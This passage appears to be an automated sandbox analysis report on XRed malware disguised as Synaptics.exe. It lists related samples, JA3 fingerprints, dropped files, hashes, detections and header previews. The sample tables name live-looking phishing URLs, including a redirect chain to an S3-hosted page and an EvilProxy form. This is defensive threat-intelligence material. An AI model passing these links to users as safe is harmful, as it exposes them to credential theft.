	https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6	Get hash	malicious	Unknown	Browse	13.107.246.63
	Sweet Group.eml	Get hash	malicious	Unknown	Browse	52.98.61.50
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	20.90.131.0
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	20.90.131.0
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	FW_ _Reminder_ Membership Credit Verification - TPIS Industrial Services_ LLC.msg	Get hash	malicious	Unknown	Browse	52.109.28.47
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	13.107.42.14
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
AWKNET-LLCUS	ccmsetup.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Dzsb.Qyd.Install.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	System Volume Information.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	P4.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	9BXz5oZUMh.elf	Get hash	malicious	Unknown	Browse	67.220.95.213

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	ccmsetup.exe	Get hash	malicious	XRed	Browse	13.107.246.63
	https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.63
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	Synaptics.exe	Get hash	malicious	XRed	Browse	13.107.246.63
	17334181261974bf64e3aa3bbac8bf525f91f1e7e877c7dc9d79fa20f782fc960f960876a5125.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	13.107.246.63
	1733418140de6eff55fb568a29814debaf3ad46ee7119730b1019aa5b47c07d232cf03fefd427.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	ccmsetup.exe	Get hash	malicious	XRed	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	Synaptics.exe	Get hash	malicious	XRed	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	PHuHRcCpaJ.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
37f463bf4616ecd445d4a1937da06e19	ccmsetup.exe	Get hash	malicious	XRed	Browse	142.250.181.14 142.250.181.33
	Setup.exe	Get hash	malicious	Vidar	Browse	142.250.181.14 142.250.181.33
	Setup.exe	Get hash	malicious	Vidar	Browse	142.250.181.14 142.250.181.33
	Synaptics.exe	Get hash	malicious	XRed	Browse	142.250.181.14 142.250.181.33
	DKfcEFnBtm.exe	Get hash	malicious	GuLoader	Browse	142.250.181.14 142.250.181.33
	vj3dH1vmYe.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.181.14 142.250.181.33
	NIsNyN2CTq.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.181.14 142.250.181.33
	TPDKSYfEac.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.181.14 142.250.181.33
	YQbn27ZkYY.exe	Get hash	malicious	GuLoader	Browse	142.250.181.14 142.250.181.33
	FWAvf7mctB.exe	Get hash	malicious	GuLoader	Browse	142.250.181.14 142.250.181.33

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_6751ccd5199dfc6aae4d63e074afd0eab89d0a7_455b7b6e_7a39fdbc-f41e-48f2-938e-79571054fa00\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.06966376030351672
Encrypted:	false
SSDEEP:	12:QzQ8WMlGnOH2lI6WMlw9Lfdn0lA1CpwalMG1C3w1UPKmQgQ9iZ1yB5d:QzQ8Wkg97WkaFcAArl3A3wOHRO5d
MD5:	DA25F72525D72E283CD8B4D133AD2430
SHA1:	AEF97B198C5BC3E15FAEEA4E549BA4F1B0723043
SHA-256:	50CACFDA9A80099970359EE516FF0F57EEBFA3E418E5BC252788503B443AE4DC
SHA-512:	A35FF38BF7DF1AA600A68812D386BA18599B5F3BD987B402902AD071229BED76DCFA7DA35672B622CB392DCC328FE91BE8246DFDFC74AA4207EC65B628153BEF
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.9.1.4.2.1.8.8.5.5.1.4.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.9.1.4.2.3.5.0.2.7.0.2.0.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.a.3.9.f.d.b.c.-.f.4.1.e.-.4.8.f.2.-.9.3.8.e.-.7.9.5.7.1.0.5.4.f.a.0.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.f.a.b.8.a.7.-.0.e.4.3.-.4.c.7.1.-.9.4.2.3.-.c.2.8.6.c.3.8.6.2.a.7.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e...................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_94cd5ed47a6f15786f7a86d89aeca3bae65a9dc_455b7b6e_48273876-a32c-40e8-8903-dc64931165a6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.136847082432201
Encrypted:	false
SSDEEP:	192:BSgSrLVpsMIB0BU/3DzJDzqjVgA/iqmOVzuiF/Z24IO8EKDzy:BSNhyM/BU/3JqjsqzuiF/Y4IO8zy
MD5:	D49A90502038374FC07C1BEC017A5638
SHA1:	4AD52CE2712D2C0D8F475BBD47D0798B47187450
SHA-256:	801721F0B50BB93C8822A5289B907CF0DFBD292DB97616108066F07794A1C6F6
SHA-512:	A4477C38BCA654DE7C46000210359FF6735A1D9EC927820817A83C8FD81BCB1AE72E003281851E893B944B7B5F7859C4C2F4F7AC549F489FB58BBBB51C4B0165
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.9.1.4.1.9.3.9.0.3.2.4.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.9.1.4.2.1.3.5.9.0.7.4.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.8.2.7.3.8.7.6.-.a.3.2.c.-.4.0.e.8.-.8.9.0.3.-.d.c.6.4.9.3.1.1.6.5.a.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.e.4.2.9.e.d.3.-.1.0.0.8.-.4.e.4.2.-.b.2.7.c.-.e.e.b.e.0.3.2.9.7.5.b.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.1.8.-.0.0.0.1.-.0.0.1.4.-.f.6.d.5.-.8.e.7.d.6.b.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.0.6.f.b.e.b.7.2.a.d.c.2.c.d.f.d.e.f.2.9.8.2.b.e.b.a.0.e.1.2.e.c.7.6.f.3.f.3.d.e.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2DD4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 5 23:16:42 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	7748482
Entropy (8bit):	2.3097126463168047
Encrypted:	false
SSDEEP:	24576:gqCbMeglD1QvHXDASD4oVnxwiHMO+9+BT2we:5CYnD1QvHXfDJVnxwiHMO+9+BT
MD5:	AB62CB3352B5FD22F6E977F87A78E650
SHA1:	7F732D055FB827B68FB1AA732C7184DCE9E0847A
SHA-256:	B18ED02DE2E1E862903A57AA98593AC6424517194CA17F1F5BBBB8470D933815
SHA-512:	8A345F0B01F21AF5201D50751BD9395498755436C25B583E6F68BFCA0A3FD1F7A7EE5A0FB6A101817360898B88CEFD8A3C569DB7D6C058EC0CDFF59E23D49187
Malicious:	false
Preview:	MDMP..a..... .......Z4Rg....................................$...P.......D...............`.......8...........T............K....r.........t...........`...............................................................................eJ..............GenuineIntel............T............3Rg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79F1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6374
Entropy (8bit):	3.7248466013338115
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb6xSA6B2Yif1QE/LL45aM4UZy89bPQ+sfj9Wm:R6l7wVeJ6xt6wYitopr489bY+sfjIm
MD5:	C9459CF0F903652EFAA22767B4619EE6
SHA1:	9E37231B5AD3BD2A2485968EC76B1031501721F0
SHA-256:	87FE97F5023058ED359A34492A1B1F83614786F01989CE30F0F0F9330F1F8E1A
SHA-512:	9BA6A3BC76A8DC790CC0D40B59DFCBB0098E336088AAFACF8A46703E5DFC67E9B2813139D8035ABE3B399EED63F955013AF8A65EF9FF4E1D394D98A8DFA2F1E5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.6.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A11.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4614
Entropy (8bit):	4.480716748666098
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZFJg77aI930WpW8VY3Ym8M4JFqFW+q8E6i7SZ3d:uIjfNI7Vt7VTJ77GZ3d
MD5:	E364AAE2072DA3A67BFCF2F057C60AC0
SHA1:	93CEDD355B0A253E6C46802E9D3FDFF9890CFBDD
SHA-256:	081C4F9C8C61980CDA7537E2214F67EF292A64FA1341678E8F821A97C6742A81
SHA-512:	D30A62DFF8E5CBEA4E7D7C62F872B209CF405AC41611BE0D6A157B134383372F564F5326B63BDF834491F92D55519891296E9F05DB9D8A6808153A37537766E4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618619" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F4D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 5 23:17:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	7297402
Entropy (8bit):	2.2165041600926614
Encrypted:	false
SSDEEP:	24576:J4heqOgYvra1hZU7nNQqJ/GiHMOtEhvjNhf7:uHOvra1hZQlJ/GiHMOtEhvjD
MD5:	9783849B575569E61B1BEE23B6DFE64F
SHA1:	DA742CBABB29308F78D60077D805EAB74764DBE8
SHA-256:	BD6000AEDB2FA216F9F9F9F3AB8C4913B766712E2174FCB3F7F41F65D041A20B
SHA-512:	88713912F9A0A4B5C678C389553ECBEE67B36EBFFC5AAA2E079A3A920125EACB24B87A41DF4F0B58BAEC5469BF9540F1D51944B7EA1D901B5EC618CA17439D8B
Malicious:	false
Preview:	MDMP..a..... .......q4Rg..................................$............o..............`.......8...........T............5..z$l.....................................................................................................eJ......(.......GenuineIntel............T............3Rg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDBE.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6318
Entropy (8bit):	3.716049842538128
Encrypted:	false
SSDEEP:	192:R6l7wVeJ6x06QYiSoxIIpD789bC+sfUWm:R6lXJh6QYgiC9fc
MD5:	2CCD86EDDE69DC9E2E34C57AEAE49C5B
SHA1:	4737B5035CB1E6AAECAC9BA1F884BF7AD23AD706
SHA-256:	217FDAEEECC182A0C946C081D838657993C803DBE94E558BA43678134C3DF5BE
SHA-512:	4C985101AEC28DA3F799B4C944B7F698B850FBCCF77D7E32EFB77A58C3C877FB3DD9754E062A45B6D639AFF735E513A30BFFF0958C056C53B23B84F7F0F7B856
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.6.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDEE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.443553227920938
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZFJg77aI930WpW8VYSYm8M4JFCFclm+q84ui7SZ3d:uIjfNI7Vt7V6JPmBGZ3d
MD5:	A96A807F06C9347870C210C893DB157A
SHA1:	2D50810F4F8F4B469D0EE45235C55B8D5DCE1657
SHA-256:	4F8A86B0724D413243670C335CB94B8CCB7F10CEEB7DD4DA2B7CD2EFFA4BC7F2
SHA-512:	9D665313E3F04ED232CD05A395962B73C60CFEDEB2C92975C47F17ACF23AB49D86415C2132CB4D43702C7F1CC447B8CE58FC5692F5B3D8376F157BF63F82438F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618619" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Synaptics\RCXA37B.tmp

Download File

Process:	C:\Users\user\Desktop\ZmrwoZsbPp.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.625480193935373
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ipr:ansJ39LyjbJkQFMhmC+6GD9G
MD5:	5643B6B0642A78914B2CA1BD87F25732
SHA1:	06FBEB72ADC2CDFDEF2982BEBA0E12EC76F3F3DE
SHA-256:	E88C4A3D3B1D82A5782A4E8D604C857375D93292D386DC99B527CD3770C9A0B5
SHA-512:	520E28AC806E9C31D79AC3B428D783A1E52D01045704D77A016EC9C94DC5DD10BFB6EB1A50AFB098ED1ADB64E4D05B00051DF0CAC5B9DF52A5CC5F99C5EEE120
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXA37B.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXA37B.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\ZmrwoZsbPp.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	859136
Entropy (8bit):	6.558234867579871
Encrypted:	false
SSDEEP:	12288:ZMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V91xE7:ZnsJ39LyjbJkQFMhmC+6GD9fs
MD5:	803D6A88884F159F529566A156596E49
SHA1:	48CC2C11C3CBB7D6973B15EED838DA61629F5614
SHA-256:	385E9152C8A7FBF298CC12B319F0077E78EC9A1901ADDA0B4B9A48D23ADC1370
SHA-512:	DFEC6A7C0E81D7E9FCA28B8B4668D344B3C81F58E0455AC579C3EDDC96FFF191668A2211F689101F03B8F7867CE57C0B1D39DD093FDD4BFACA41B5F956855BA2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................\|....................@..............................................@..............................B......ps...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...ps.......t..................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\ZmrwoZsbPp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1MbMtPN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268452796435602
Encrypted:	false
SSDEEP:	24:GgsF+0NFSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8F+pAZewRDK4mW
MD5:	C7BD89F740196EFC18BC6424DF780509
SHA1:	1129850989E954069F383E8E9025AC5C0F45BC06
SHA-256:	8E6034D995C9F1F92B4912B99BBF1D96C88D91BAA8D54D08CC222692E5D60BC2
SHA-512:	8662FEE24496B4C2ADF92EC1EDE05DC4A7951AE370E31426CC9853C3AB4F2A68434BFDF02EB25D2467E2D643DD3F2743D12ADCEF791B3544B8F5AF83F352EA33
Malicious:	false
